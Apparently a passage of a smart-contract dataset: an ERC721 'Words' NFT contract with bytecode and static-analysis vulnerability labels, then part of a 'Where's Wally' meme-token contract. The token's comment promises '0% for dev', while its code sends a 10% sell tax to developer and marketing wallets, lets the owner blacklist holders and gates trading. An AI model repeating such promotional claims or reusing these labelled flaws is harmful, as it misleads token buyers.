function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* Based on: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol
*/
contract ERC721 is ERC165, IERC721, IERC721Events {
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(msg.sender, tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(msg.sender, tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (isContract(to)) {
try
IERC721Receiver(to).onERC721Received(
msg.sender,
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/7f6a1666fac8ecff5dd467d0938069bc221ea9e0/contracts/utils/Address.sol
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
interface IWords {
function mint(string memory text_) external returns (uint256);
}
/**
* @title Words
* @author MirrorXYZ
*/
contract Words is IWords, ERC721, IERC721Metadata {
string public override name = "Words";
string public override symbol = "WORDS";
uint256 public tokenId;
mapping(uint256 => string) public text;
function mint(string memory text_) external override returns (uint256) {
_mint(msg.sender, tokenId);
text[tokenId] = text_;
return tokenId++;
}
// Mostly looted from Loot: https://etherscan.io/address/0xff9c1b15b16263c61d017ee9f65c50e4ae0113d7#code
function tokenURI(uint256 tokenId_)
external
view
override
returns (string memory)
{
require(_exists(tokenId_), "nonexistent token");
string[3] memory parts;
parts[
0
] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">';
parts[1] = text[tokenId_];
parts[2] = "</text></svg>";
string memory output = string(
abi.encodePacked(parts[0], parts[1], parts[2])
);
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "TokenId #',
toString(tokenId_),
'", "description": "Test", "image": "data:image/svg+xml;base64,',
Base64.encode(bytes(output)),
'"}'
)
)
)
);
output = string(
abi.encodePacked("data:application/json;base64,", json)
);
return output;
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)
)
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80636352211e11610097578063b88d4fde11610066578063b88d4fde14610213578063c87b56dd14610226578063d85d3d2714610239578063e985e9c51461024c57600080fd5b80636352211e146101d257806370a08231146101e557806395d89b41146101f8578063a22cb4651461020057600080fd5b806310bb7050116100d357806310bb70501461018257806317d70f7c1461019557806323b872dd146101ac57806342842e0e146101bf57600080fd5b806301ffc9a71461010557806306fdde031461012d578063081812fc14610142578063095ea7b31461016d575b600080fd5b61011861011336600461167c565b610288565b60405190151581526020015b60405180910390f35b61013561036d565b60405161012491906116f8565b61015561015036600461170b565b6103fb565b6040516001600160a01b039091168152602001610124565b61018061017b366004611740565b6104a6565b005b61013561019036600461170b565b6105f6565b61019e60065481565b604051908152602001610124565b6101806101ba36600461176a565b61060f565b6101806101cd36600461176a565b610696565b6101556101e036600461170b565b6106b1565b61019e6101f33660046117a6565b61073c565b6101356107d6565b61018061020e3660046117c1565b6107e3565b610180610221366004611889565b6108c6565b61013561023436600461170b565b610954565b61019e610247366004611905565b610b83565b61011861025a36600461194e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205460ff1690565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd00000000000000000000000000000000000000000000000000000000148061031b57507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061036757507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b6004805461037a90611981565b80601f01602080910402602001604051908101604052809291908181526020018280546103a690611981565b80156103f35780601f106103c8576101008083540402835291602001916103f3565b820191906000526020600020905b8154815290600101906020018083116103d657829003601f168201915b505050505081565b6000818152602081905260408120546001600160a01b031661048a5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000908152600260205260409020546001600160a01b031690565b60006104b1826106b1565b9050806001600160a01b0316836001600160a01b0316141561053b5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610481565b336001600160a01b038216148061057557506001600160a01b038116600090815260036020908152604080832033845290915290205460ff165b6105e75760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610481565b6105f18383610bce565b505050565b6007602052600090815260409020805461037a90611981565b6106193382610c49565b61068b5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610481565b6105f1838383610d51565b6105f1838383604051806020016040528060008152506108c6565b6000818152602081905260408120546001600160a01b0316806103675760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610481565b60006001600160a01b0382166107ba5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610481565b506001600160a01b031660009081526001602052604090205490565b6005805461037a90611981565b6001600160a01b03821633141561083c5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610481565b3360008181526003602090815260408083206001600160a01b0387168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6108d03383610c49565b6109425760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610481565b61094e84848484610f2f565b50505050565b6000818152602081905260409020546060906001600160a01b03166109bb5760405162461bcd60e51b815260206004820152601160248201527f6e6f6e6578697374656e7420746f6b656e0000000000000000000000000000006044820152606401610481565b6109c361158b565b60405180610120016040528060fd8152602001611c4260fd91398152600083815260076020526040902080546109f890611981565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2490611981565b8015610a715780601f10610a4657610100808354040283529160200191610a71565b820191906000526020600020905b815481529060010190602001808311610a5457829003601f168201915b505050505081600160038110610a8957610a896119bc565b60200201819052506040518060400160405280600d81526020017f3c2f746578743e3c2f7376673e0000000000000000000000000000000000000081525081600260038110610ada57610ada6119bc565b602002015260008181602002015182600160200201518360026020020151604051602001610b0a939291906119d2565b60405160208183030381529060405290506000610b57610b2986610fb8565b610b32846110ea565b604051602001610b43929190611a15565b6040516020818303038152906040526110ea565b905080604051602001610b6a9190611ae6565b60408051601f1981840301815291905295945050505050565b6000610b91336006546112a5565b60065460009081526007602090815260409091208351610bb3928501906115b2565b5060068054906000610bc483611b41565b9091555092915050565b6000818152600260205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0384169081179091558190610c10826106b1565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152602081905260408120546001600160a01b0316610cd35760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610481565b6000610cde836106b1565b9050806001600160a01b0316846001600160a01b03161480610d195750836001600160a01b0316610d0e846103fb565b6001600160a01b0316145b80610d4957506001600160a01b0380821660009081526003602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610d64826106b1565b6001600160a01b031614610de05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610481565b6001600160a01b038216610e5b5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610481565b610e66600082610bce565b6001600160a01b03831660009081526001602081905260408220805491929091610e91908490611b5c565b90915550506001600160a01b03821660009081526001602081905260408220805491929091610ec1908490611b73565b9091555050600081815260208190526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b610f3a848484610d51565b610f46848484846113f6565b61094e5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610481565b606081610ff857505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115611022578061100c81611b41565b915061101b9050600a83611ba1565b9150610ffc565b60008167ffffffffffffffff81111561103d5761103d6117fd565b6040519080825280601f01601f191660200182016040528015611067576020820181803683370190505b5090505b8415610d495761107c600183611b5c565b9150611089600a86611bb5565b611094906030611b73565b60f81b8183815181106110a9576110a96119bc565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506110e3600a86611ba1565b945061106b565b80516060908061110a575050604080516020810190915260008152919050565b60006003611119836002611b73565b6111239190611ba1565b61112e906004611bc9565b9050600061113d826020611b73565b67ffffffffffffffff811115611155576111556117fd565b6040519080825280601f01601f19166020018201604052801561117f576020820181803683370190505b5090506000604051806060016040528060408152602001611d3f604091399050600181016020830160005b8681101561120b576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b8352600490920191016111aa565b506003860660018114611225576002811461126f57611297565b7f3d3d0000000000000000000000000000000000000000000000000000000000007ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe830152611297565b7f3d000000000000000000000000000000000000000000000000000000000000006000198301525b505050918152949350505050565b6001600160a01b0382166112fb5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610481565b6000818152602081905260409020546001600160a01b0316156113605760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610481565b6001600160a01b0382166000908152600160208190526040822080549192909161138b908490611b73565b9091555050600081815260208190526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000833b15611580576040517f150b7a020000000000000000000000000000000000000000000000000000000081526001600160a01b0385169063150b7a029061144a903390899088908890600401611be8565b6020604051808303816000875af1925050508015611485575060408051601f3d908101601f1916820190925261148291810190611c24565b60015b611535573d8080156114b3576040519150601f19603f3d011682016040523d82523d6000602084013e6114b8565b606091505b50805161152d5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610481565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a0200000000000000000000000000000000000000000000000000000000149050610d49565b506001949350505050565b60405180606001604052806003905b606081526020019060019003908161159a5790505090565b8280546115be90611981565b90600052602060002090601f0160209004810192826115e05760008555611626565b82601f106115f957805160ff1916838001178555611626565b82800160010185558215611626579182015b8281111561162657825182559160200191906001019061160b565b50611632929150611636565b5090565b5b808211156116325760008155600101611637565b7fffffffff000000000000000000000000000000000000000000000000000000008116811461167957600080fd5b50565b60006020828403121561168e57600080fd5b81356116998161164b565b9392505050565b60005b838110156116bb5781810151838201526020016116a3565b8381111561094e5750506000910152565b600081518084526116e48160208601602086016116a0565b601f01601f19169290920160200192915050565b60208152600061169960208301846116cc565b60006020828403121561171d57600080fd5b5035919050565b80356001600160a01b038116811461173b57600080fd5b919050565b6000806040838503121561175357600080fd5b61175c83611724565b946020939093013593505050565b60008060006060848603121561177f57600080fd5b61178884611724565b925061179660208501611724565b9150604084013590509250925092565b6000602082840312156117b857600080fd5b61169982611724565b600080604083850312156117d457600080fd5b6117dd83611724565b9150602083013580151581146117f257600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff8084111561182e5761182e6117fd565b604051601f8501601f19908116603f01168101908282118183101715611856576118566117fd565b8160405280935085815286868601111561186f57600080fd5b858560208301376000602087830101525050509392505050565b6000806000806080858703121561189f57600080fd5b6118a885611724565b93506118b660208601611724565b925060408501359150606085013567ffffffffffffffff8111156118d957600080fd5b8501601f810187136118ea57600080fd5b6118f987823560208401611813565b91505092959194509250565b60006020828403121561191757600080fd5b813567ffffffffffffffff81111561192e57600080fd5b8201601f8101841361193f57600080fd5b610d4984823560208401611813565b6000806040838503121561196157600080fd5b61196a83611724565b915061197860208401611724565b90509250929050565b600181811c9082168061199557607f821691505b602082108114156119b657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b600084516119e48184602089016116a0565b8451908301906119f88183602089016116a0565b8451910190611a0b8183602088016116a0565b0195945050505050565b7f7b226e616d65223a2022546f6b656e4964202300000000000000000000000000815260008351611a4d8160138501602088016116a0565b7f222c20226465736372697074696f6e223a202254657374222c2022696d6167656013918401918201527f223a2022646174613a696d6167652f7376672b786d6c3b6261736536342c000060338201528351611ab08160518401602088016116a0565b7f227d00000000000000000000000000000000000000000000000000000000000060519290910191820152605301949350505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815260008251611b1e81601d8501602087016116a0565b91909101601d0192915050565b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b5557611b55611b2b565b5060010190565b600082821015611b6e57611b6e611b2b565b500390565b60008219821115611b8657611b86611b2b565b500190565b634e487b7160e01b600052601260045260246000fd5b600082611bb057611bb0611b8b565b500490565b600082611bc457611bc4611b8b565b500690565b6000816000190483118215151615611be357611be3611b2b565b500290565b60006001600160a01b03808716835280861660208401525083604083015260806060830152611c1a60808301846116cc565b9695505050505050565b600060208284031215611c3657600080fd5b81516116998161164b56fe3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e2e62617365207b2066696c6c3a2077686974653b20666f6e742d66616d696c793a2073657269663b20666f6e742d73697a653a20313470783b207d3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d22626c61636b22202f3e3c7465787420783d2231302220793d2232302220636c6173733d2262617365223e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa2646970667358221220d9e56c89100b21c3f0f9c0b581e3c1a1af6403f13333ad57dadceaef76303bd464736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,753 |
0x15268dC899480558eaEBDeDA75B4aE9e58c7a7dC
|
/**
* Hello,
* Wally is a meme coin unique on a global scale.
* Why unique? When you buy 10% tax = reflections for holders,
* 0% for dev sounds fantastic WOW BIG BIG REFLECTIONS
*
* telegram: https://t.me/WHEREWALLYERC
* twitter: https://twitter.com/Erc1Wally
* website: https://where-wally.com/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Wally is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Where's Wally";
string private constant _symbol = "Wally";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 10;
uint256 private _taxFeeOnBuy = 0;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x2A020EbB8eB5724301e8a946BA56822E05922120);
address payable private _marketingAddress = payable(0x76536935C885Db94326328d02855365507C38F6d);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000000000000 * 10**9; //0.5%
uint256 public _maxWalletSize = 200000000000000 * 10**9; //2%
uint256 public _swapTokensAtAmount = 10000000000000 * 10**9; //0.01%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require((_msgSender() == _developmentAddress || _msgSender() == _marketingAddress) || amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
